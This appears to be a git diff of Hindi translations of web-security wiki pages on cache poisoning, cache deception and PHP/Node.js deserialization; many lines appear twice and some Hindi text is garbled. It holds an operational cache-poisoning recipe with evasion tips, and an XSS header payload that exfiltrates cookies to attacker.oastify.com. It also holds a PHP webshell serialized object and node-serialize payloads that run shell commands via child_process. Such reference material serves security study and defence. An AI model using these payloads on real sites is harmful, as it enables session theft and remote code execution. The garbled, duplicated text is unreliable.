- अनुरोध प्रवाह की विचित्रताएँ एक `.js` पथ के लिए अनुरोध को मुख्य HTML के लिए उपयोग किए जाने वाले कैश कुंजी/वरिएंट को प्रभावित करने की अनुमति देती हैं, जिससे हेडर परावर्तन के माध्यम से क्रॉस-यूजर XSS सक्षम होता है।
व्यावहारिक नुस्खा (एक लोकप्रिय CDN/WAF में देखी गई):
Practical recipe (observed across a popular CDN/WAF):
1) एक साफ IP से (पूर्व की प्रतिष्ठा-आधारित डाउनग्रेड से बचें), ब्राउज़र या Burp Proxy Match & Replace के माध्यम से एक दुर्भावनापूर्ण `User-Agent` सेट करें।
2) Burp Repeater में, दो अनुरोधों का एक समूह तैयार करें और "समूह को समानांतर में भेजें" का उपयोग करें (एकल-पैकेट मोड सबसे अच्छा काम करता है):
2) Burp Repeater में, दो अनुरोधों के एक समूह को तैयार करें और "Send group in parallel" का उपयोग करें (एकल-पैकेट मोड सबसे अच्छा काम करता है):
- पहला अनुरोध: एक ही मूल पर एक `.js` संसाधन पथ GET करें जबकि आप अपना दुर्भावनापूर्ण `User-Agent` भेज रहे हैं।
- तुरंत बाद: मुख्य पृष्ठ GET करें (`/`)।
3) CDN/WAF रूटिंग दौड़ और ऑटो-कैश किए गए `.js` अक्सर एक पॉइज़न कैश की गई HTML वेरिएंट को बीज देता है जो फिर अन्य आगंतुकों को सेवा दी जाती है जो समान कैश कुंजी की शर्तें साझा करते हैं (जैसे, समान `Vary` आयाम जैसे `User-Agent`)।
3) CDN/WAF रूटिंग दौड़ के साथ-साथ स्वचालित रूप से कैश किया गया `.js` अक्सर एक ज़हरीला कैश किए गए HTML वैरिएंट को बीज देता है जो फिर अन्य आगंतुकों को सेवा दी जाती है जो समान कैश कुंजी की शर्तें साझा करते हैं (जैसे, समान `Vary` आयाम जैसे `User-Agent`)।
उदाहरण हेडर पेलोड (गैर-HttpOnly कुकीज़ को एक्सफिल्ट्रेट करने के लिए):
Example header payload (to exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
ऑपरेशनल टिप्स:
- कई CDNs कैश हेडर छिपाते हैं; जहर देना केवल बहु-घंटे के रिफ्रेश चक्रों पर दिखाई दे सकता है। दर सीमित या प्रतिष्ठा ट्रिगर्स से बचने के लिए कई दृष्टिकोण IPs का उपयोग करें और थ्रॉटल करें।
- CDN के अपने क्लाउड से एक IP का उपयोग करने से कभी-कभी रूटिंग स्थिरता में सुधार होता है।
- यदि एक सख्त CSP मौजूद है, तो यह अभी भी काम करता है यदि परावर्तन मुख्य HTML संदर्भ में निष्पादित होता है और CSP इनलाइन निष्पादन की अनुमति देता है या संदर्भ द्वारा बायपास किया जाता है।
- कई CDNs कैश हेडर छिपाते हैं; जहर देना केवल बहु-घंटे के रिफ्रेश चक्रों पर दिखाई दे सकता है। दर सीमित करने या प्रतिष्ठा ट्रिगर्स से बचने के लिए कई दृष्टिकोण IPs का उपयोग करें और थ्रॉटल करें।
- CDN के अपने क्लाउड से IP का उपयोग करने से कभी-कभी रूटिंग स्थिरता में सुधार होता है।
- यदि एक सख्त CSP मौजूद है, तो यह तब भी काम करता है जब परावर्तन मुख्य HTML संदर्भ में निष्पादित होता है और CSP इनलाइन निष्पादन की अनुमति देता है या संदर्भ द्वारा बायपास किया जाता है।
Impact:
प्रभाव:
- यदि सत्र कुकीज़ `HttpOnly` नहीं हैं, तो सभी उपयोगकर्ताओं से `document.cookie` को बड़े पैमाने पर निकालकर शून्य-क्लिक ATO संभव है जिन्हें जहर दिया गया HTML परोसा गया है।
Defenses:
रक्षा:
- HTML में अनुरोध हेडर को परावर्तित करना बंद करें; यदि अनिवार्य हो तो सख्ती से संदर्भ-कोडित करें। CDN और मूल कैश नीतियों को संरेखित करें और अविश्वसनीय हेडर पर भिन्नता से बचें।
- सुनिश्चित करें कि WAF `.js` अनुरोधों और स्थिर पथों पर सामग्री निरीक्षण को लगातार लागू करता है।
- सत्र कुकीज़ पर `HttpOnly` (और `Secure`, `SameSite`) सेट करें।
## Vulnerable Examples
## कमजोर उदाहरण
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
### Apache ट्रैफिक सर्वर ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS ने URL के अंदर के अंश को बिना हटाए अग्रेषित किया और केवल होस्ट, पथ और क्वेरी का उपयोग करके कैश कुंजी उत्पन्न की (अंश की अनदेखी करते हुए)। इसलिए अनुरोध `/#/../?r=javascript:alert(1)` को बैकएंड पर `/#/../?r=javascript:alert(1)` के रूप में भेजा गया और कैश कुंजी में केवल होस्ट, पथ और क्वेरी थी, इसमें पेलोड नहीं था।
### GitHub CP-DoS
सामग्री-प्रकार हेडर में एक खराब मान भेजने से 405 कैश प्रतिक्रिया उत्पन्न हुई। कैश कुंजी में कुकी शामिल थी इसलिए केवल अनधिकृत उपयोगकर्ताओं पर हमला करना संभव था।
सामग्री-प्रकार हेडर में एक खराब मान भेजने से 405 कैश प्रतिक्रिया उत्पन्न हुई। कैश कुंजी में कुकी शामिल थी, इसलिए केवल अनधिकृत उपयोगकर्ताओं पर हमला करना संभव था।
### GitLab + GCP CP-DoS
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए यह संभव था कि हेडर `x-http-method-override: HEAD` भेजा जाए और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए जहर दिया जाए। यह विधि `PURGE` का भी समर्थन कर सकती है
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP बकेट** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए हेडर `x-http-method-override: HEAD` भेजना संभव था और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए जहर देना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता था
### Rack Middleware (Ruby on Rails)
### रैक मिडलवेयर (Ruby on Rails)
Ruby on Rails अनुप्रयोगों में, Rack मिडलवेयर का अक्सर उपयोग किया जाता है। Rack कोड का उद्देश्य **`x-forwarded-scheme`** हेडर के मान को लेना और इसे अनुरोध की योजना के रूप में सेट करना है। जब हेडर `x-forwarded-scheme: http` भेजा जाता है, तो उसी स्थान पर 301 रीडायरेक्ट होता है, जो उस संसाधन के लिए सेवा से इनकार (DoS) का कारण बन सकता है। इसके अतिरिक्त, अनुप्रयोग `X-forwarded-host` हेडर को मान्यता दे सकता है और उपयोगकर्ताओं को निर्दिष्ट होस्ट पर रीडायरेक्ट कर सकता है। यह व्यवहार हमलावर के सर्वर से JavaScript फ़ाइलों को लोड करने का कारण बन सकता है, जो सुरक्षा जोखिम पैदा करता है।
Ruby on Rails अनुप्रयोगों में, रैक मिडलवेयर का अक्सर उपयोग किया जाता है। रैक कोड का उद्देश्य **`x-forwarded-scheme`** हेडर के मान को लेना और इसे अनुरोध की योजना के रूप में सेट करना है। जब हेडर `x-forwarded-scheme: http` भेजा जाता है, तो उसी स्थान पर 301 रीडायरेक्ट होता है, जो उस संसाधन के लिए सेवा से इनकार (DoS) का कारण बन सकता है। इसके अतिरिक्त, अनुप्रयोग `X-forwarded-host` हेडर को मान्यता दे सकता है और उपयोगकर्ताओं को निर्दिष्ट होस्ट पर रीडायरेक्ट कर सकता है। यह व्यवहार हमलावर के सर्वर से JavaScript फ़ाइलों को लोड करने का कारण बन सकता है, जो सुरक्षा जोखिम पैदा करता है।
### 403 और स्टोरेज बकेट
@ -223,7 +223,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
### कीड पैरामीटर इंजेक्ट करना
कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में `size` पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-कोडित संस्करण (जैसे, `siz%65`) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही `size` पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-कोडित पैरामीटर में मान को संसाधित करेगा। दूसरे `size` पैरामीटर को URL-कोडिंग करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान देने से कैश करने योग्य 400 Bad Request त्रुटि उत्पन्न हुई।
कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में `size` पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-कोडित संस्करण (जैसे, `siz%65`) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही `size` पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-कोडित पैरामीटर में मान को संसाधित करेगा। दूसरे `size` पैरामीटर को URL-कोडिंग करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान देने से कैश योग्य 400 बैड अनुरोध त्रुटि उत्पन्न हुई।
### उपयोगकर्ता एजेंट नियम
@ -231,17 +231,17 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
### अवैध हेडर फ़ील्ड
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक शोषण योग्य पैटर्न पहचाना गया था जहा अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैश करने योग्य 400 Bad Request त्रुटि उत्पन्न होती है।
[आरएफसी7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 बैड अनुरोध प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक शोषण योग्य पैटर्न पहचाना गया था जहा अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैश योग्य 400 बैड अनुरोध त्रुटि उत्पन्न होती है।
### नए हेडर खोजना
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
## कैश धोखा
Cache Deception का लक्ष्य है कि ग्राहक **उन संसाधनों को लोड करें जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**।
कैश धोखे का लक्ष्य ग्राहकों को **ऐसे संसाधन लोड करने के लिए मजबूर करना है जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**।
सबसे पहले ध्यान दें कि **विस्तार** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं, तो कैश शायद प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **विस्तार** को देखता है। लेकिन, यदि **अनुप्रयोग** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **पुनः खेल रहा है**, तो आप उन सामग्री को अन्य उपयोगकर्ताओं से **चुरा** सकते हैं।
सबसे पहले ध्यान दें कि **एक्सटेंशन** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **एक्सटेंशन** को देखता है। लेकिन, यदि **अनुप्रयोग** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **पुनः खेल रहा है**, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
परीक्षण करने के लिए अन्य चीजें:
@ -250,21 +250,21 @@ Cache Deception का लक्ष्य है कि ग्राहक **उ
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _कम ज्ञात विस्तार जैसे_ `.avif` का उपयोग करें
- _कम ज्ञात एक्सटेंशन का उपयोग करें जैसे_ `.avif`
एक और बहुत स्पष्ट उदाहरण इस लेख में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
उदाहरण में, यह समझाया गया है कि यदि आप एक गैर-मौजूद पृष्ठ जैसे _http://www.example.com/home.php/non-existent.css_ को लोड करते हैं, तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\
उदाहरण में, यह समझाया गया है कि यदि आप एक गैर-मौजूद पृष्ठ लोड करते हैं जैसे _http://www.example.com/home.php/non-existent.css_ तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\
फिर, **हमलावर** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुँच सकता है और पहले पहुँचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
ध्यान दें कि **कैश प्रॉक्सी** को फ़ाइलों को **कैश** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए **फाइल के विस्तार** (_ .css_) के आधार पर और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _ .css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
ध्यान दें कि **कैश प्रॉक्सी** को फ़ाइलों को **कैश** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए **फाइल के एक्सटेंशन** (_.css_) के आधार पर और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
यहाँ जानें कि कैसे [Cache Deceptions हमलों को HTTP Request Smuggling का उपयोग करके प्रदर्शन करें](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
यहाँ जानें कि कैसे [कैश धोखे के हमले HTTP अनुरोध स्मगलिंग का दुरुपयोग करके करें](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools
## स्वचालित उपकरण
- [**toxicache**](https://github.com/xhzeem/toxicache): URLs की एक सूची में वेब कैश जहर देने की कमजोरियों को खोजने और कई इंजेक्शन तकनीकों का परीक्षण करने के लिए Golang स्कैनर।
- [**toxicache**](https://github.com/xhzeem/toxicache): URLs की एक सूची में वेब कैश जहर देने की कमजोरियों को खोजने और कई इंजेक्शन तकनीकों का परीक्षण करने के लिए गोलेन स्कैनर।
## References
## संदर्भ
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)

View File

@ -6,7 +6,7 @@
**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना है या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। इस तकनीक का सामान्यत: उपयोग यह सुनिश्चित करने के लिए किया जाता है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।
**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जिसे एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है ज एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
Deserialization खतरनाक हो सकता है क्योंकि यह संभावित रूप से **हमलावरों को अनुक्रमित डेटा में हेरफेर करने की अनुमति देता है ताकि हानिकारक कोड निष्पादित किया जा सके** या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अप्रत्याशित व्यवहार उत्पन्न कर सके।
@ -16,9 +16,9 @@ PHP में, serialization और deserialization प्रक्रिया
- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक ऐरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्यत: उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।
- `__wakeup`: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए।
- `__unserialize`: यह विधि `__wakeup` के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण प्रदान करती है।
- `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट को नष्ट किया जाने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्यत: उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
- `__toString`: यह विधि एक ऑब्जेक्ट को एक स्ट्रिंग के रूप में व्यवहार करने की अनुमति देती है। इसका उपयोग फ़ाइल पढ़ने या इसके भीतर फ़ंक्शन कॉल के आधार पर अन्य कार्यों के लिए किया जा सकता है, प्रभावी रूप से ऑब्जेक्ट का पाठ्य प्रतिनिधित्व प्रदान करता है।
- `__unserialize`: यह विधि `__wakeup` के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण देती है।
- `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्यत: उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
- `__toString`: यह विधि एक ऑब्जेक्ट को एक स्ट्रिंग के रूप में व्यवहार करने की अनुमति देती है। इसका उपयोग फ़ाइल पढ़ने या इसके भीतर फ़ंक्शन कॉल के आधार पर अन्य कार्यों के लिए किया जा सकता है, प्रभावी रूप से ऑब्जेक्ट का एक पाठ्य प्रतिनिधित्व प्रदान करता है।
```php
<?php
class test {
@ -85,7 +85,7 @@ This is a test<br />
>
> public function __unserialize(array $data): void {
> $this->property = $data['property'];
> // डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करें।
> // Perform any necessary tasks upon deserialization.
> }
> }
> ```
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
### संदर्भित मानों को सीरियलाइज़ करना
यदि किसी कारणवश आप किसी मान को **दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं, तो आप कर सकते हैं:
यदि किसी कारणवश आप क मान को **दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं, तो आप कर सकते हैं:
```php
<?php
class AClass {
@ -118,7 +118,7 @@ $ser=serialize($o);
### PHP ऑब्जेक्ट इंजेक्शन को `allowed_classes` के साथ रोकना
> [!INFO]
> `unserialize()` के **दूसरे तर्क** ( `$options` ऐरे) के लिए समर्थन **PHP 7.0** में जोड़ा गया था। पुराने संस्करणों में यह फ़ंक्शन केवल अनुक्रमित स्ट्रिंग को स्वीकार करता है, जिससे यह संभव नहीं है कि कौन सी कक्षाएँ स्थापित की जा सकती हैं
> `unserialize()` के **दूसरे तर्क** ($options array) के लिए समर्थन **PHP 7.0** में जोड़ा गया था। पुराने संस्करणों में यह फ़ंक्शन केवल अनुक्रमित स्ट्रिंग को स्वीकार करता है, जिससे यह संभव नहीं है कि किन कक्षाओं को स्थापित किया जा सकता है
`unserialize()` **हर कक्षा** को स्थापित करेगा जो इसे अनुक्रमित स्ट्रीम के अंदर मिलती है जब तक कि अन्यथा न कहा जाए। PHP 7 से व्यवहार को [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) विकल्प के साथ प्रतिबंधित किया जा सकता है:
```php
@ -135,7 +135,7 @@ $object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
```
यदि **`allowed_classes` को छोड़ दिया गया है _या_ कोड PHP < 7.0 पर चल रह है**, **खतरनाक** है क्यंकि एक हमलवर एक पेल तैय कर सकत है दुई िि जैसे `__wakeup()` `__destruct()` दुरुपय करत है ि ि िष्पदन (RCE) प्रप्त ि सके
यदि **`allowed_classes` को छोड़ दिया गया है _या_ कोड PHP < 7.0 पर चल है**, **खतरनाक** है क्यंकि एक हमलवर एक ऐस पेल तैय कर सकत है दुई िि जैसे `__wakeup()` `__destruct()` दुरुपय करत है ि ि िष्पदन (RCE) प्रप्त ि सके
#### वास्तविक दुनिया का उदाहरण: Everest Forms (WordPress) CVE-2025-52709
@ -158,7 +158,7 @@ return $data;
```
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
जैसे ही व्यवस्थापक ने प्रविष्टि को देखा, वस्तु को स्थापित किया गया और `SomeClass::__destruct()` निष्पादित हुआ, जिसके परिणामस्वरूप मनमाने कोड का निष्पादन हुआ।
जैसे ही व्यवस्थापक ने प्रविष्टि को देखा, वस्तु को स्थापित किया गया और `SomeClass::__destruct()` निष्पादित हुआ, जिसके परिणामस्वरूप मनमाना कोड निष्पादन हुआ।
**महत्वपूर्ण बातें**
1. हमेशा `['allowed_classes' => false]` (या एक सख्त श्वेत सूची) को `unserialize()` कॉल करते समय पास करें।
@ -170,8 +170,8 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
### PHPGGC (PHP के लिए ysoserial)
[**PHPGGC**](https://github.com/ambionics/phpggc) आपको PHP deserialization का दुरुपयोग करने के लिए पेलोड उत्पन्न करने में मदद कर सकता है।\
ध्यान दें कि कई मामलों में आप **ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे**, लेकिन आप **बाहरी PHP एक्सटेंशनों के कोड का दुरुपयोग कर सकते हैं।**\
तो, यदि आप कर सकते हैं, तो सर्वर का `phpinfo()` जांचें और **इंटरनेट पर खोजें** (यहां तक कि **PHPGGC** के **gadgets** पर) कुछ संभावित गैजेट जो आप दुरुपयोग कर सकते हैं।
ध्यान दें कि कई मामलों में आप **ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे**, लेकिन आप **बाहरी PHP एक्सटेंशन के कोड का दुरुपयोग करने में सक्षम हो सकते हैं।**\
इसलिए, यदि आप कर सकते हैं, तो सर्वर का `phpinfo()` जांचें और **इंटरनेट पर खोजें** (यहां तक कि **PHPGGC** के **gadgets** पर) कुछ संभावित गैजेट जो आप दुरुपयोग कर सकते हैं।
### phar:// मेटाडेटा deserialization
@ -225,8 +225,8 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **"जादुई" फ़ंक्शन** नहीं रखता जैसे PHP या Python जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होंगे। लेकिन इसमें कुछ **फ़ंक्शन** हैं जो **सीधे उन्हें कॉल किए बिना भी अक्सर उपयोग किए जाते हैं** जैसे **`toString`**, **`valueOf`**, **`toJSON`**।\
यदि आप deserialization का दुरुपयोग करते हैं तो आप **इन फ़ंक्शनों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं** (संभावित रूप से प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) जब इन्हें कॉल किया जाता है तो आप मनमाना कोड निष्पादित कर सकते हैं।
JS में PHP या Python की तरह **"जादुई" फ़ंक्शन** नहीं होते हैं जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होते हैं। लेकिन इसमें कुछ **फ़ंक्शन** हैं जो **सीधे कॉल किए बिना भी अक्सर उपयोग किए जाते हैं** जैसे **`toString`**, **`valueOf`**, **`toJSON`**।\
यदि आप deserialization का दुरुपयोग करते हैं तो आप **इन फ़ंक्शनों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं** (संभवतः प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) जब इन्हें कॉल किया जाता है तो आप मनमाना कोड निष्पादित कर सकते हैं।
एक और **"जादुई" तरीका एक फ़ंक्शन को बिना सीधे कॉल किए कॉल करने का** है **एक ऑब्जेक्ट को समझौता करके जो एक async फ़ंक्शन** (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस **रिटर्न ऑब्जेक्ट** को एक अन्य **प्रॉमिस** में **"then" नामक फ़ंक्शन प्रकार की प्रॉपर्टी** के साथ **परिवर्तित** करते हैं, तो यह केवल इसलिए **निष्पादित** होगा क्योंकि इसे एक अन्य प्रॉमिस द्वारा लौटाया गया है। _अधिक जानकारी के लिए_ [_**इस लिंक**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _का पालन करें._
```javascript
@ -290,8 +290,8 @@ console.log("Serialized: \n" + payload_serialized)
जैसा कि आप अंतिम कोड के टुकड़े में देख सकते हैं, **यदि फ़्लैग पाया जाता है** तो `eval` का उपयोग फ़ंक्शन को डीसिरियलाइज़ करने के लिए किया जाता है, इसलिए मूल रूप से **उपयोगकर्ता इनपुट `eval` फ़ंक्शन के अंदर उपयोग किया जा रहा है**
हालांकि, **सिर्फ फ़ंक्शन को सीरियलाइज़ करना** **इसे निष्पादित नहीं करेगा** क्योंकि आवश्यक होगा कि कोड का कुछ भाग **`y.rce` को कॉल कर रहा हो** हमारे उदाहरण में और यह अत्यधिक **असंभव** है।\
वैसे, आप बस **सीरियलाइज़ किए गए ऑब्जेक्ट को संशोधित कर सकते हैं** **कुछ कोष्ठकों को जोड़कर** ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़ किया गया फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए।\
हालांकि, **सिर्फ फ़ंक्शन को सीरियलाइज़ करना** **इसे निष्पादित नहीं करेगा** क्योंकि यह आवश्यक होगा कि कोड का कुछ भाग **`y.rce` को कॉल कर रहा हो** हमारे उदाहरण में और यह अत्यधिक **असंभव** है।\
वैसे भी, आप बस **सीरियलाइज़ किए गए ऑब्जेक्ट को संशोधित कर सकते हैं** **कुछ कोष्ठकों को जोड़कर** ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़ किया गया फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए।\
अगले कोड के टुकड़े में **अंतिम कोष्ठक** पर ध्यान दें और कैसे `unserialize` फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:
```javascript
var serialize = require("node-serialize")
@ -300,18 +300,18 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
जैसा कि पहले संकेत दिया गया था, यह पुस्तकालय `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगा और इसे `eval` का उपयोग करके **निष्पादित करेगा**। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **फंक्शन निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS ओनलाइनर** निष्पादित कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:
जैसा कि पहले बताया गया था, यह लाइब्रेरी `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगी और इसे `eval` का उपयोग करके **निष्पादित** करेगी। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **फंक्शन निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS एकल पंक्ति** निष्पादित कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:
```javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
```
